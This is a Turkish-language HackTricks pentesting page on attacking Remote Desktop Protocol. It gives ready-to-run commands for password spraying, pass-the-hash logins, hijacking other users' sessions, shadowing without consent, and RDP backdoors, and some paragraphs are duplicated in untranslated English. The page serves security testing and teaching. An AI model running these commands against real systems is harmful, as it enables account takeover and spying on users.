3389 - Pentesting RDP
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Temel Bilgiler
Microsoft tarafından geliştirilen Remote Desktop Protocol (RDP), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı kurulmasını sağlar. Böyle bir bağlantıyı gerçekleştirmek için kullanıcı RDP istemci yazılımını kullanır ve aynı zamanda uzak bilgisayarın RDP sunucu yazılımını çalıştırıyor olması gerekir. Bu düzen, uzak bir bilgisayarın masaüstü ortamının sorunsuz bir şekilde kontrol edilmesine ve erişilmesine olanak tanır; temelde arayüzünü kullanıcının yerel cihazına getirir.
Varsayılan port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Keşif
Otomatik
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Mevcut şifrelemeyi ve DoS açığını (servise DoS neden olmadan) kontrol eder ve NTLM Windows bilgilerini (sürümler) elde eder.
Güvenlik Katmanı / NLA Kontrolleri
RDP farklı güvenlik katmanlarını (native RDP, TLS, or CredSSP/NLA) müzakere edebilir. Sunucu tarafı ayarlarını ve NLA’nın gerekli olup olmadığını hızlıca fingerprint’leyebilirsiniz:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Dikkat edin, hesapları kilitleyebilirsiniz
Password Spraying
Dikkat edin, hesapları kilitleyebilirsiniz
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Bilinen kimlik bilgileri/hash ile bağlan
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol et
impacket’teki rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
rdp_check <domain>/<name>:<password>@<IP>
Saldırılar
Session stealing
SYSTEM izinleriyle, sahibinin parolasını bilmenize gerek kalmadan herhangi bir kullanıcının açtığı herhangi bir RDP oturumuna erişebilirsiniz.
Açık oturumları al:
query user
Seçilen oturuma erişim
tscon <ID> /dest:<SESSIONNAME>
Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
Important: When you access an active RDP sessions you will kickoff the user that was using it.
Seçili RDP oturumunun içine gireceksiniz ve yalnızca Windows araçları ve özellikleri kullanarak bir kullanıcının kimliğine bürüneceksiniz.
Important: Aktif bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcı oturumdan atılacaktır.
You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines…)
Parolaları süreç dump’layarak elde edebilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşime girmenizi sağlar (diskte kaydedilmeden notepad’te açık olan şifreler, diğer makinelerde açık diğer RDP oturumları…)
Mimikatz
You could also use mimikatz to do this:
Bunu yapmak için ayrıca mimikatz kullanabilirsiniz:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Eğer Remote Desktop Services shadowing etkinse, yerleşik mstsc anahtarlarını kullanarak başka bir kullanıcının aktif oturumunu görebilir veya kontrol edebilirsiniz (bazı durumlarda izinsiz olarak).
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Sanal Kanal Tünelleme
RDP, kurulmuş bir RDP oturumu üzerinden sanal kanallar aracılığıyla pivoting/tunneling için kötüye kullanılabilecek özellikler sunar. Bir seçenek, RDP üzerinden TCP yönlendirmelerini multiplexleyebilen rdp2tcp (client/server)dir (FreeRDP ile çalışır).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Bu tekniği stickykeys veya utilman ile herhangi bir zamanda yönetici CMD’sine ve herhangi bir RDP oturumuna erişebileceksiniz
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Eğer farklı bir domain’den veya daha yüksek ayrıcalıklara sahip olup login via RDP ile sizin Admin olduğunuz PC’ye giriş yaparsa, beacon’ınızı onun RDP session process’ine inject ederek onun gibi hareket edebilirsiniz:
RDP grubuna kullanıcı ekleme
net localgroup "Remote Desktop Users" UserLoginName /add
Otomatik Araçlar
AutoRDPwn, esas olarak Microsoft Windows bilgisayarlarındaki Shadow saldırısını otomatikleştirmek için Powershell ile yazılmış bir post-exploitation framework’tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktaki bir saldırganın kurbanının masaüstünü rızası olmadan görüntülemesini ve hatta işletim sisteminin kendi yerel araçlarını kullanarak talep üzerine kontrol etmesini sağlar.
-
Komut satırından otomatik olarak fare ve klavyeyi kontrol etme
-
Komut satırından otomatik olarak panoyu kontrol etme
-
İstemciden RDP üzerinden hedefe ağ iletişimini kanalize eden bir SOCKS proxy oluşturma
-
Hedefe dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
-
Hedefte dosya transferleri kapalı olsa bile hedefe dosya yükleyip hedeften dosya indirebilme
Bu araç, kurbanın RDP’sinde grafik arayüze ihtiyaç duymadan komut çalıştırmaya izin verir.
HackTricks Otomatik Komutları
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Kaynaklar
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


